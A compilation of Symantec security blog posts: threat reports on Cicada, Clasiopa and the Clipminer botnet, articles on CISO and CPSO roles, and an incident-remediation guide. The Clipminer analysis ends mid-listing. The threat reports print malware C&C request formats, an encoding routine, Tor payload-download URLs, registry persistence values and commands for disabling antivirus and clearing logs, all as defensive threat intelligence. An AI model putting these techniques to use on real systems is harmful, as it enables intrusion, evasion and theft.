Chafer’s recent activities indicate that the group remains highly active, is continuing to hone its tools and tactics, and has become more audacious in its choice of targets. Although a regional actor, the group has followed two trends seen globally among targeted attack groups.
Protection
Symantec has the following protection in place to protect customers against these attacks:
File-based protection
Backdoor.Remexi
Backdoor.Remexi.B
Hacktool.Mimikatz
Pwdump
IPS: network-based protection
System Infected: Backdoor.Remexi Activity
|
Chief Product Security Officer: The Time Has Come
Creation of secure software requires a multifaceted leader to take charge
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
We all know it: It’s hard to do anything that is not enabled, at some level, by software. Yet software security failures continue to multiply, putting much of our lives in jeopardy. To stem the tide of security flaws that creep inexorably into software products, a new position must be created: Chief Product Security Officer (CPSO).
“We need a new individual to span many different departments – engineering, compliance, supplier management, information risk,” said Chris Wysopal, founder and CTO of Veracode, a maker of secure software development tools. “The CISO model doesn’t fit. That’s why we’re calling for a CPSO now,” he added. Wysopal’s remarks came during a virtual session at the online RSA Conference 2021.
“Software trustworthiness – or lack of trustworthiness – is on everyone’s mind,” said Joshua Corman, chief strategist for the healthcare sector at CISA, the federal agency charged with improving cyber security in the US, who shared the virtual session with Wysopal. “Software failure has been growing in variety and impact, causing increasing regulatory and legal response and board-level concern,” said Corman.
“SolarWinds captured the attention and political will of many stakeholders in government,” Corman continued, referring to the so-called supply chain breach in which hackers corrupted routine software updates with malicious software, opening up backdoor access to victims’ systems.
To keep tabs on different software components and their origins, a software bill of materials (SBOM) is needed.
Over time, the purposes of software have evolved, from speeding up repetitive business tasks through automation, to becoming a product that is used interactively by customers. “Software is taking over processes that used to be manual or back-office and adding a lot of risk to them. A mobile banking app is more risky than talking to a teller. The software we’re building now is adding a lot of risk to the world,” said Wysopal.
The increase in risk is due to the growth of the “attack surface,” or the number of points, including internet of things (IoT) devices, at which an organization can be penetrated, said the panelists. The widespread use of APIs adds to the problem. “Exposed APIs need to be secured, but APIs are now the bloodstream of an application. They are pervasive, and they create more attack surface,” said Wysopal.
The use of open-source software is another vector through which bad code can make its way into finished products. “Seventy percent of all applications have a security flaw that has been inherited by open source,” asserted Wysopal. Once bad code becomes part of the software supply chain, the possibilities of havoc are virtually unlimited. “A flaw way down in the bowels can create vulnerabilities downstream,” said Corman.
To keep tabs on different software components and their origins, a software bill of materials (SBOM) is needed. Such a list is now table stakes for selling high-consequence software to the federal government, said the CISA official. The discipline of creating an SBOM can go a long way to improving the security of software, Corman maintained. The approach is much like that advocated by W. Edwards Deming to improve product quality by using fewer and better parts suppliers. “Only use the freshest of ingredients in the food we produce, so to speak,” said Corman.
Who could be a CPSO?
As for who might fill the vital role of CPSO, the most qualified individuals would have the ability to take two views of software security – that of the developer and that of an overall risk manager. “A lot of people might be in the middle of the skill set. You have to engage with the individual developer to find and fix things in the code, but you have to also take the bigger picture with regard to risk,” said Wysopal. Although CISOs think in terms of enterprise risk management, product security teams don’t think that way, he explained, adding, “The CPSO needs to bulk up in both these areas.”
Turning the tables
While the increasing use of automation in software development tends to introduce security flaws into the final product, a savvy CPSO can turn that very automation to advantage. “Developers are hyper-automating to eliminate manual processes. But a CPSO can take advantage and move secure processes into this model,” Wysopal contended. By implementing security and compliance as code, developers can make fixing bugs faster and cheaper, he explained.
Making it happen
Despite the demonstrable necessity of the CPSO position, hurdles such as funding are likely to stand in the way at many companies. To make the case to the C-suite, IT leaders should present detailed reasons. “Come up with objective criteria with regard to what touches revenue and rank those according to risk,” Corman urged. Once the argument has been won, a single strong leader will be needed. “You’ll have to find champions, because you’re not going to get a big team for this,” said Corman.
|
Cicada: Chinese APT Group Widens Targeting in Recent Espionage Activity
Government orgs and NGOs among victims in a wide-ranging and sustained campaign.
A Chinese state-backed advanced persistent threat (APT) group is attacking organizations around the globe in a likely espionage campaign that has been ongoing for several months.
Victims in this Cicada (aka APT10) campaign include government, legal, religious, and non-governmental organizations (NGOs) in multiple countries around the world, including in Europe, Asia, and North America. The wide number of sectors and geographies of the organizations targeted in this campaign is interesting. Cicada’s initial activity several years ago was heavily focused on Japanese-linked companies, though in more recent times it has been linked to attacks on managed service providers (MSPs) with a more global footprint. However, this campaign does appear to indicate a further widening of Cicada’s targeting.
The attribution of this activity to Cicada is based on the presence on victim networks of a custom loader and custom malware that are believed to be exclusively used by the APT group.
While Cicada has been linked to espionage-style operations dating back to 2009, the earliest activity in this current campaign occurred in mid-2021, with the most recent activity seen in February 2022, so this is a long-running attack campaign that may still be ongoing, researchers from Symantec, a division of Broadcom, have found.
Activity on infected networks
In several cases, the initial activity on victim networks is seen on Microsoft Exchange Servers, suggesting the possibility that a known, unpatched vulnerability in Microsoft Exchange may have been used to gain access to victim networks in some cases.
Once the attackers have successfully gained access to victim machines we observe them deploying various different tools, including a custom loader and the Sodamaster backdoor. The loader deployed in this campaign was also deployed in a previous Cicada attack.
Sodamaster is a known Cicada tool that is believed to be exclusively used by this group. It is a fileless malware that is capable of multiple functions, including evading detection in a sandbox by checking for a registry key or delaying execution; enumerating the username, hostname, and operating system of targeted systems; searching for running processes, and downloading and executing additional payloads. It is also capable of obfuscating and encrypting traffic that it sends back to its command-and-control (C&C) server. It is a powerful backdoor that Cicada has been using since at least 2020.
In this campaign, the attackers are also seen dumping credentials, including by using a custom Mimikatz loader. This version of Mimikatz drops mimilib.dll to obtain credentials in plain text for any user that is accessing the compromised host and provides persistence across reboots.
The attackers also exploit the legitimate VLC Media Player by launching a custom loader via the VLC Exports function, and use the WinVNC tool for remote control of victim machines.
Other tools utilized in this attack campaign include:
RAR archiving tool - can be used to compress, encrypt, or archive files, likely for exfiltration.
System/Network discovery - a way for attackers to determine what systems or services are connected to an infected machine.
WMIExec - Microsoft command-line tool that can be used to execute commands on remote computers.
NBTScan - an open-source tool that has been observed being used by APT groups to conduct internal reconnaissance within a compromised network.
Victims
The victims in this campaign appear to primarily be government-related institutions or NGOs, with some of these NGOs working in the fields of education and religion. There were also victims in the telecoms, legal, and pharmaceutical sectors.
The victims are spread through a wide number of regions including the U.S., Canada, Hong Kong, Turkey, Israel, India, Montenegro, and Italy. There is also just one victim in Japan, which is notable due to Cicada’s previous strong focus on Japanese-linked companies.
The attackers spent as long as nine months on the networks of some victims.
The victims targeted, the various tools deployed in this campaign, and what we know of Cicada’s past activity all indicate that the most likely goal of this campaign is espionage. Cicada activity was linked by U.S. government officials to the Chinese government in 2018.
Significance of this activity
This is a long-running campaign from a sophisticated and experienced nation-state-backed actor that may still be ongoing, as the most recent activity we saw in this campaign was in February 2022. The targeting of multiple large organizations in different geographies at the same time would require a lot of resources and skills that are generally only seen in nation-state backed groups, and shows that Cicada still has a lot of firepower behind it when it comes to its cyber activities.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise (IOCs)
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
01b610e8ffcb8fd85f2d682b8a364cad2033c8104014df83988bc3ddfac8e6ec
056c0628be2435f2b2031b3287726eac38c94d1e7f7aa986969baa09468043b1
062ce400f522f90909ed5c4783c5e9c60b63c09272e2ddde3d13e748a528fa88
0b452f7051a74a1d4a544c0004b121635c15f80122dc6be54db660ceb2264d6f
0ec48b297dd1b0d6c3ddd15ab63f405191d7a849049feedfa7e44096c6f9d42a
20fc3cf1afcad9e6f19e9abebfc9daf374909801d874c3d276b913f12d6230ec
2317d3e14ab214f06ae38a729524646971e21b398eda15cc9deb8b00b231abc3
2417da3adebd446b9fcb8b896adb14ea495a4d923e3655e5033f78d8e648fcc8
37f56127226ce96af501c8d805e76156ca6b87da1ba1bb5d227100912f6c52d9
3aa54e7d99b69a81c8b25ab57aeb971644ed0a206743c9e51a80ec1852f03663
3ff2d6954a6b62afb7499e1e317af64502570181fd49ac5a74e2f7947e2e89db
4f6a768841595293146ca04f879efa988e4e95ce0f2bc299cb669fea55e78b65
5269db6b19a1d758c75e58ee9bbf2f8fd684cfedbfe712d5b0182d7bbd3a1690
5bc68df582c86c884b563b15057cc223f2e9bc1022ebb297e32a9a7e3036228b
6b4692029f05489ecda10e11cfacfc3b19097856b88647d3695f3bdc7dd83ce9
7b581c0305c78f28bad60028c63e852dc34fc9e28f39e4b0af73d80c1d9680c9
83030f299a776114878bcd2ade585d97836ef4ddb6943cb796be2c88bcb83a83
90a03dabfc4e56a12cc3bac5cbe991db044b900a01ec341803c864506e467ffa
9917a2213f114e87745867e5fea6717efd727d7c08fdc851969224be2f0e019b
9b5f9ff82ed238bcbd83628ed3ec84988dc05f81cec9e45a512fbd2c8ac45c33
adfe177ade7d9bfe4df251a69678102aec1104a4ba9f73032dd90aba76d8bdd9
b76fde584f87c88bdd21fab613335ce7fc05788aa4bb3191d1517ec16ef4d11a
ce45af43dd2af52d6034e981515474147802efdfe036e00078fee29a01694fd6
d461347388ccf0c2008332a1674885a41f70b94b2263bddef44e796d3b1b43b5
df993dca434c3cd2da94b6a90b0ae1650d9c95ea1d5f6a5267aca640d8c6d00e
ee46e714660f7652502d5b3633fae0c08c8018f51cfb56a487afd58d04dd551a
fe33fdd5a63fee62362c9db329dde11080a0152e513ef0e6f680286a6a7b243f
88[.]198.101[.]58
168[.]100.8[.]38
|
CISOs With Business Chops
While a formal MBA isn’t a requirement for a top security post, experts say professionals interested in climbing the corporate ladder can’t any longer just rely upon their technical chops
In addition to pursuing CISM (Certified Information Security Manager), CISSP (Certified Information Systems Security Professional), and CEH (Certified Ethical Hacker) certifications, up-and-coming security professionals are adding formal business training to their CVs—a budding requirement as IT security becomes a board-level issue and a top priority for the C-suite.
According to a Forrester Research survey, 43% of Fortune 500 CISOs now have a graduate degree and of those, nearly half (45%) have secured their MBA. While a formal MBA isn’t a requirement for a top security post, experts say professionals interested in climbing the corporate ladder must augment their technical chops with critical business skills in areas like contract management, revenue models, and communications.
The additional training is critical, they contend, as the CISO role becomes less internally-focused and more central to connecting security and risk objectives to strategic business goals.
“In order to elevate to where they need to be in the company, the CISO needs to understand business strategy and the mission, vision, and corporate goals,” notes Summer Fowler, technical director for Cyber Security Risk and Resilience at the CERT Division at Carnegie Mellon’s Software Engineering Institute. “At the same time, the company needs to understand that this role is very integral to achieving those business goals, not just cyber security goals.”
Along with MBA programs, CMU’s Executive Education program at Heinz College offers a six-month CISO certificate, which offers a blended technical and business curriculum in recognition of the growing need for business-focused, IT security training.
The program, a combination of on-site and synchronous distance learning, covers the traditional technical topics such as threat and incident response and cyber risk management along with strategic business training in financial management, crisis communications, and acquisition planning for operations.
Fowler says the Heinz CISO program strives to be forward looking, concentrating on the skills required for a changing role where CISOs no longer just manage security risks for internal data centers and applications, but engage in third-party vendor management given the shift to cloud and mobile.
“The CISO’s role is changing from being inward-facing to managing relationships and risks outside of the company just like the CIO,” she explains. As a result, Fowler says it’s now critical that CISOs be versed in areas like contract negotiations and service level agreements (SLAs) while being comfortable communicating to the board of directors and the C-suite about security issues in a language they can understand. “CISOs need to get out of their comfort zone of bits and bytes and technology and be able to understand how their actions support all the other business functions,” she explains.
According to a Forrester Research survey, 43% of Fortune 500 CISOs now have a graduate degree and of those, nearly half (45%) have secured their MBA.
The Language of Business
For Kevin Morrison, now head of information security for Jones Day, that was the very reason he entered an MBA program in 2007, after four years of working in the technical security ranks as a network administrator. Morrison quickly realized he knew very little about the business side, which made it difficult communicating with leaders in other functional areas about their security concerns in a way that was compelling.
The full-time evening MBA program, which Morrison attended after work two nights a week for two years, not only provided practical business training, but it exposed him to executives in other areas like human resources, finance, and marketing, which Morrison says gave him a completely different perspective on how the rest of the company understands and views security.
“It has given me a different mindset as I approach what we are trying to accomplish as a team,” he explains. “It allows me to have conversations with others in a leadership position in a way they can appreciate. I now understand and can put together budgets, I know the difference between OpEx and Capex—this is not something they teach you when you get a CISSP.”
Shaun Miller, an information security executive who now has a CISSP, CISM, and an MBA, says having formal business training has better positioned him to be the bridge between IT and business, helping to map the right security technologies and risk profile to the company’s strategic business goals. He decided to enter an MBA program 10 years ago after recognizing that IT security was going through a paradigm shift, becoming a business issue, not a technical problem.
“If you have a data breach or any sort of intrusion, it’s a business problem—the share price can do down or companies can go out of business,” he explains. Miller says he quickly recognized he was on the hook for security problems even if he didn’t have the authority to make needed changes.
“I needed to be able to communicate with other functional areas and the board of directors in terms they could understand,” he says. “I had to make the case that information security was no different than any other business risk—the causes and effects were different, but the end result was the same.” While an MBA gave Miller the tools to have those conversations and elevate his role, he acknowledges that it’s not for everyone.
At the same time, however, Miller agrees that aspiring CISOs must do something to advance their business skills, whether that’s through seminars or other certifications. “There are all kinds of things you can do, but you have to do something,” Miller says. “You can’t go from plugging away as a security analyst for 20 years and expect to be a CISO without learning and expanding your knowledgebase.”
|
Clasiopa: New Group Targets Materials Research
Group uses distinct toolset but there are few clues to its origins.
A hitherto unknown attack group has been observed targeting a materials research organization in Asia. The group, which Symantec calls Clasiopa, is characterized by a distinct toolset, which includes one piece of custom malware (Backdoor.Atharvan). At present, there is no firm evidence on where Clasiopa is based or whom it acts on behalf.
Clasiopa Tactics, Techniques, and Procedures
The infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.
Aside from the distinct toolset used, there were a number of attack hallmarks observed:
The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip
An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using "smc -stop". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.
The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.
Sysmon logs were cleared using wsmprovhost.
All eventlogs were cleared using PowerShell.
A scheduled task named "network service" was created to list file names.
There is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named “dgs” and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.
HCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.
Tools Used
Atharvan: Custom developed remote access Trojan (RAT).
Lilith: The attackers used modified versions of the publicly available Lilith RAT. The versions used were capable of carrying out the following tasks:
Killing the process
Restarting the process
Modifying the sleep interval
Uninstalling the RAT
Executing a remote command or PowerShell script
Exiting the process
Thumbsender: Hacking tool which, when it receives a command from a command-and-control (C&C) server will list file names on the computer and save them in a file called Thumb.db before sending them to a specified IP address.
Custom proxy tool.
Atharvan
Atharvan is so-named because when the malware is run, it creates a mutex named: "SAPTARISHI-ATHARVAN-101" to ensure that only one copy is running.
It will then contact a hardcoded C&C server. The hardcoded C&C addresses seen in one of the samples analyzed to date was for Amazon AWS South Korea (Seoul) region, which is not a common location for C&C infrastructure.
The C&C communications are formatted as HTTP POST requests where the Host header is hardcoded as "update.microsoft.com", e.g.:
POST /update.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.52
Host: update.microsoft.com
Content-type: application/x-www-form-urlencoded
Content-length: 46
id=Atharvan&code=101&cid=H^[REDACTED]&time=5
The request body includes the following parameters:
"id": hardcoded string "Atharvan"
"code": represents request purpose, which can be one of:
101: fetches commands
102: sends command outputs or error messages
103: fetches file body to write when processing command 0x12
"cid": hardcoded string "H^" followed by the network interface hardware address of the affected computer as 12 hexadecimal digits
"time": interval between communication attempts
"msg" (optional): depending on the request purpose as specified using "code" parameter:
when the "code" parameter is 102, it includes output of commands or error messages in encrypted form
when the "code" parameter is 103, it identifies the file to fetch in non-encrypted form
When encrypting the "msg" value, the malware uses the following encryption algorithm:
def encrypt(plaintext):
return bytes([((2 - byte) & 0xff) for byte in plaintext])
The malware uses its own simplistic HTTP parser to extract the body from the server response. The extracted body is decrypted using the following algorithm:
def decrypt(ciphertext):
return bytes([((2 - byte) & 0xff) for byte in ciphertext])
When fetching commands, the malware expects the decrypted body to contain a sequence of strings separated by the "\x1A" character.
The first byte of each string specifies the command to execute and the remaining bytes are interpreted as command parameters.
Table 1. Atharvan commands
Command Description
0x11 Configures interval between communication attempts
0x12 Downloads arbitrary file from specified control server
0x15 Runs arbitrary executable and sends its output to the remote attacker
0x16 Configures communication to use schedule type 0x16
0x17 Configures communication to use schedule type 0x17
0x18 Configures communication to use schedule type 0x18
When configuring a communication schedule, the command parameters specify the times and days for the communication attempts. Several different times can be specified, with the hour and minute of the day encoded.
The days are interpreted as:
No restrictions (communication schedule type 0x16)
Bitmask specifying days of month (communication schedule type 0x17)
Bitmask specifying days of week (communication schedule type 0x18)
This scheduled communication configuration is another unusual feature of the malware and is not commonly seen in malware of this kind.
Attribution
There is currently no firm evidence on where Clasiopa is based or what its motivation is. A Hindi mutex is used in the Atharvan backdoor: "SAPTARISHI-ATHARVAN-101". Atharvan is a legendary Vedic sage of Hinduism. The backdoor also sends a post request to a C&C server with the arguments:
d=%s&code=%d&cid=%s&time=%dtharvan
In addition to this, one of the passwords used by the attackers for a ZIP archive was “iloveindea1998^_^”.
While these details could suggest that the group is based in India, it is also quite likely that the information was planted as false flags, with the password in particular seeming to be an overly obvious clue.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b – Backdoor.Atharvan
8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b – Backdoor.Atharvan
95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 – Lilith
940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 – Lilith
38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 – Lilith
c94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 – Thumbsender
f93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 – Custom Proxy Tool
3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d – Backdoor
0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 – Backdoor
8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b – Hacktool
1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd – Hacktool
|
Clear and Hold: The 4 Stages of Incident Remediation
Key questions to ask yourself before ejecting an attacker from your network
As security practitioners, we often spend time and energy motivating the organization to act.
On the rare occasion an organization is faced with widespread compromise from a targeted attacker, that thinking needs to be flipped on its head. Act too fast, and a persistent and skilled attacker can re-compromise an environment shortly after they were detected and expelled. Or it might help them avoid being expelled to begin with.
When you’re the guy accountable for leading a remediation – as I’ve been across several recent roles – you need to take a more cautious approach.
Clear and Hold
Remediation is the final stage of an incident response process. It can involve everything from an enterprise-wide password reset to pulling a network cable and rebuilding an infected box.
The military term “clear and hold” is a good analogy for understanding remediation and its importance. A counter-insurgency tactic, “clear and hold” involves clearing an area of enemies and holding it to prevent those enemies from reoccupying. Successful execution of this phase is considered central to long-term strategic objectives.
In the same way, when we’re remediating in a security context, we’re trying to remove an attacker’s presence from our environment and neutralize any mechanisms they can use to re-compromise.
This typically follows these four phases:
Prepare
When it comes to remediation, the saying could not be truer: ‘If you fail to prepare then prepare to fail’. Successful remediation is grounded in preparation, where we consolidate everything we understand about the attacker, as well as prioritizing activities to be performed immediately versus later. Sometimes, this a good place for a reality check – based on the information gathered about the extent of compromise, we may need to acknowledge (and communicate) that large gaps still exist in what we understand about the attacker, and that the event cannot be fully contained.
Execute
In this phase we execute activities to expel the attacker from the environment – such as isolating infected machines, resetting accounts and blacklisting domains. Most often, a “shock and awe” approach gives an organization the greatest chance of successfully ejecting an attacker from the environment. The attacker unexpectedly loses network connectivity, credentials and tools in an aggressive, coordinated event. These activities are often performed at times when the attacker has demonstrated that they are less likely to be active.
There may be situations where the activities needed to remove an attacker’s access to the environment have to be staggered over a longer period of time. This gives attackers a larger window of opportunity to circumvent remediation, placing greater emphasis on your organization’s detection capabilities and understanding of their Tactics, Techniques and Procedures (TTPs).
Verify
In this phase we make sure all activities carried out during containment and eradication were successful. As we’ll discuss later, this is often overlooked.
Future enhancements
This final phase is where you implement measures to improve the organization’s longer-term security posture. While preparing for remediation, we identify security gaps exposed by an attacker and opportunities for improvement. Activities that cannot be carried out in the narrow timeframe before or during the eradication of the attacker are addressed longer term as strategic projects. For example, implementing a new access control or multi-factor authentication.
Common Challenges
These four steps are reasonably well-known among remediation teams in the industry. But we still see many organizations stall or fail to successfully remediate widespread compromise by a targeted, persistent attacker. In our experience, this can be traced back to some common problems:
Misunderstanding the threat:
Organizations can underestimate the severity of a threat, and subsequently put inadequate time and energy towards remediation efforts. NotPetya was good example – it was an attack aimed at just one nation but ultimately affected multiple industries in countries across the globe. You pay dearly for underestimating the threat and accepting a risk you haven’t fully understood.
Mis-timing:
The most common mistake we see is poor timing of remediation activities, particularly when the execution phase commences before an organization has successfully prepared.
Sure, when you discover attackers have been on your network for years, it’s hard to suppress the temptation to act. But without sufficient planning first, you won’t understand the full extent of the attacker’s presence in your environment, nor will you be prepared to execute all the necessary remediation activities in a deliberate, coordinated manner. Either way, attackers will become aware of your efforts, leading them to become destructive, “go dark” by burrowing deeper into your network, or leave previously unseen backdoors to enable re-compromise.
Mis-timing can also occur when remediation activities are deferred to a later date as strategic enhancements, especially where they relate to gaps that are being actively exploited.
Top-level support:
Getting the timing right is that much harder without support and understanding from those above.
In the wake of a detection, boards and senior executives will naturally press for fast containment action. In response, security leaders need to be able to gather and communicate a full understanding of the threat and explain the risks and consequences of premature mitigation.
We’ve found regularly running table-top exercises – with senior executives and other teams involved in incident response – to be invaluable. These drills can iron out incorrect assumptions and create a common understanding of key factors ahead of time.
Exercises are also useful in getting support from other teams that manage applications and processes relevant to the remediation process, such as network and IT teams.
Failure to verify:
Failure to adequately test and verify is common in organizations that haven’t had much experience with widespread compromise. Before closing an incident, ask yourself:
Have all compromised accounts been successfully reset?
Are all indicators of compromise being detected and blocked?
By asking questions such as these, we not only limit the likelihood of re-compromise, but put ourselves in a position to have a more confident conversation with our board and executives.
As an example, we might place a benign file in different locations across our network and then create detection logic for the file’s hash in security tools such as Symantec Advanced Threat Protection and Cloud Workload Protection. By testing and confirming that all instances of the files have been detected, we can better communicate confidence in our visibility across the network and our ability to detect the attackers should they return.
Staying Connected
Many of the positive outcomes we get at Symantec come from the way both our products and our teams work together.
A key to our success as a remediation team is being well informed about the tradecraft of attackers targeting our industry and organization. Our internal threat intelligence teams help us understand this with regular briefings, while we also make use of intelligence feeds including DeepSight and MATI. Frameworks like the MITRE ATT&CK matrix are also great at mapping out the techniques used by attackers and shine a light not only on how they seek to compromise but how they might respond to discovery.
Connecting to our staff across the globe also helps. They can be our eyes and ears in areas where we might have technical visibility gaps. Our security awareness team has worked hard to encourage staff to report strange files or phishing emails that could represent a targeted attacker – which becomes invaluable information during any response.
|
Clipminer Botnet Makes Operators at Least $1.7 Million
Malware used for cryptocurrency mining and clipboard hijacking.
Symantec’s Threat Hunter Team, a part of Broadcom Software, has uncovered a cyber-criminal operation that has potentially made the actors behind it at least $1.7 million in illicit gains from cryptocurrency mining and theft via clipboard hijacking.
The malware being used, tracked by Symantec as Trojan.Clipminer, has a number of similarities to another crypto-mining Trojan called KryptoCibule, suggesting it may be a copycat or evolution of that threat.
Clipminer is likely spread via Trojanized downloads of cracked or pirated software. The malware arrives on compromised computers as a self-extracting WinRAR archive that drops and executes a downloader in the form of a packed portable executable DLL file with CPL file extension (although it does not follow the CPL format). The dropped file connects to the Tor network to download Clipminer’s components.
Clipminer has the ability to use compromised computers’ resources to mine for cryptocurrency. The malware also modifies the clipboard content in an attempt to redirect cryptocurrency transactions by users of the infected computer. On each clipboard update, it scans the clipboard content for wallet addresses, recognizing address formats used by at least a dozen different cryptocurrencies. The recognized addresses are then replaced with addresses of wallets controlled by the attacker. For the majority of the address formats, the attackers provide multiple replacement wallet addresses to choose from. The malware then picks the address that matches the prefix of the address to be replaced. This way, the victim is less likely to notice manipulation and is likely to proceed with the transaction. The malware includes a total of 4,375 unique addresses of wallets controlled by the attacker. Out of these, 3,677 addresses are used for just three different formats of Bitcoin addresses. Investigating just Bitcoin and Ethereum wallet addresses, we found that they, at the time of writing, contained approximately 34.3 Bitcoin and 129.9 Ethereum. However, some funds had also been transferred to what appear to be cryptocurrency tumblers, also known as cryptocurrency mixing services. These services mix potentially identifiable funds with others, so as to obscure the trail back to the fund's original source. If we include the funds transferred out to these services, the malware operators have potentially made at least $1.7 million from clipboard hijacking alone.
Technical analysis
The infection chain begins with a self-extracting WinRAR archive (bd48b5da093a37cfa5e3929c19ac06ce711bd581bc49040e68d2ba0e5610bf71) that drops and executes the masqueraded Control Panel (CPL) file:
1d31bea6a065fa20cf41861d21b7ea39979d40126c800ebc87d07adb41fe03f4 - m5ak8iW.cpl
The dropped file is actually a downloader in the form of a packed portable executable DLL, which has the following exports:
GetExtensionVersion
HttpExtensionProc
TerminateExtension
Once the sample is executed, it arranges for itself to start again in case it gets interrupted.
To do so, it renames itself using the following format:
C:\Windows\Temp\[VARIABLE]
It also creates the following registry value:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\[VARIABLE]\"[VARIABLE]"="SHELL32.DLL|ShellExec_RunDLL|REGSVR32.EXE -s \"C:\\Windows\\Temp\\[VARIABLE].\""
(Note the extra DOT at the end of the filename)
Example file name:
C:\Windows\Temp\and.loc
Example corresponding registry value:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\zyqz
"ipbfa"="SHELL32.DLL|ShellExec_RunDLL|REGSVR32.EXE -s \"C:\\Windows\\Temp\\and.loc.\""
Both of these will be deleted by the sample once it successfully downloads and installs its payload.
Next, the malware starts an embedded Tor client by downloading Tor consensus data:
http://[HOST_IP_AND_PORT]/tor/status-vote/current/consensus.z
Where [HOST_IP_AND_PORT] is picked from a list embedded by the sample.
The malware then connects to the Tor network.
Next, it collects details from the affected computer, as shown in the following example:
[PUBLIC_IPv4_ADDRESS_AS_SEEN_ON_INTERNET];[REDACTED];"Intel(R) Core(TM) i5-10500 CPU @ 3.10GHz";L"\x005CDevice\x005CHarddiskVolume3\x005CWindows\x005CSystem32\x005Crundll32.exe",L"\x005CDevice\x005CHarddiskVolume3\x005CWindows\x005CSysWOW64\x005Crundll32.exe",L"C\x003A\x005CUsers\[REDACTED]\x005CAppData\x005CLocal\x005CTemp\x005CM5aK8iW.cpL";"BC711 NVMe SK hynix 128GB[REDACTED];L"Windows Defender":61100;"PCI\[REDACTED]":"Intel(R) UHD Graphics; 630":1920:1200:59;113:[LIST_OF_RUNNING_PROCESSES];1920:1200:[DESKTOP_SCREENSHOT_AS_BASE64_ENCODED_PNG];
It then sends the following HTTP GET request to an Onion Service over Tor:
http://[ONION_SERVICE_AND_PORT]/[BINARY_AS_BASE64_ENCODED]
Where [BINARY_AS_BASE64_ENCODED] is a blob that appears to contain details of the infected machine, and [ONION_SERVICE_AND_PORT] is one of the following:
miwia5zo4oxcj7n6:11472
6lmt3ott62q5pwae:52403
nczflpbaow2ta7ua:19155
re5sb73yb75nbkrm:33033
qwhbbp6ye2l25wv6:13927
2q3n7ycm7vxe73g6:30656
w4qjsuu5x5kwvkgu:61921
gk7jrmr5v3nw3u7m:40090
ip2djbz3xidmkmkw:53148
pvy2atf27dq2d334:2720
3wquaem4x5qylhs5:17953
niddw7jlqyc64xwc:36583
ga3zm6uelxuniyq4:60117
sv2fubnuttyzvfgl:39828
kzzuxfvchn5kb73c:21646
p2dw3umgw6qhrld3:25947
wkhipwh6fb5j5hzx:25280
ml7sphy7w3k2ge6d:12508
dvivtswsxdxsqqxa:26960
tq2srsgevhutzw42:43477
xh6pciiw6yeqz3bs:19956
xup6y7cxgjorezif:51516
lbwgagk54ww5c3nj:32284
rim3qyk3tdbt2iw3:60747
krq2qyjhfwh4trww:51499
obowq55leh2wguwg:35882
xph6exfmdo7b4tkw:38607
rs24qxgkhecjcgdn:51533
i3uhj2pyh4cwwbmy:54343
7udhxrfpz6qwvspy:31399
nwogcq7cmhth7e4x:15588
gwtpcz4n3wtkwhj4:64393
5fajnveyn2bd4nm7:5990
vcammjx7ddus5kfr:64148
42xgf6qae5wjbcva:45252
Note that the above are v2 Onion Services. In 2021, v2 Onion Services were depreciated and are no longer supported by current versions of Tor. However, many nodes on the Tor network have yet to be upgraded, meaning the services are still reachable.
The received response is roughly 10 MB in size and contains the Clipminer payload, which is used to perform coin mining and clipboard hijacking on the compromised computer.
The payload is stored in the following location:
[EXISTING_TOP_DIRECTORY]\[VARIABLE]\[VARIABLE]\
Where [EXISTING_TOP_DIRECTORY] is one of the following:
C:\Program Files (x86)\
C:\Program Files (x86)\Common Files\
C:\ProgramData\
[USERPROFILE]\AppData\Local\
The following is an example of the location and directory naming convention used by the malware:
C:\Program Files (x86)\Common Files\DevelTies\JueuiSirvices\
It also populates the two newly created directories with files copied from the local machine so that the malicious files are less likely to stand out.
It then drops the load point to the inner directory, where file hash, file directory, and file name vary:
f49a5a0f2397609a3fb97728b5a997eb77cfa1b529188403fb5e8adaeac1860b rhnoiniye_ni.dll (Packed load point)
Then it creates scheduled tasks (similar to the following examples) to execute the load point for persistence (details vary between runs):
URI: \Microsoft\Windows\Active Directory Rights Management Services Client\Microc040e
Actions: Exec
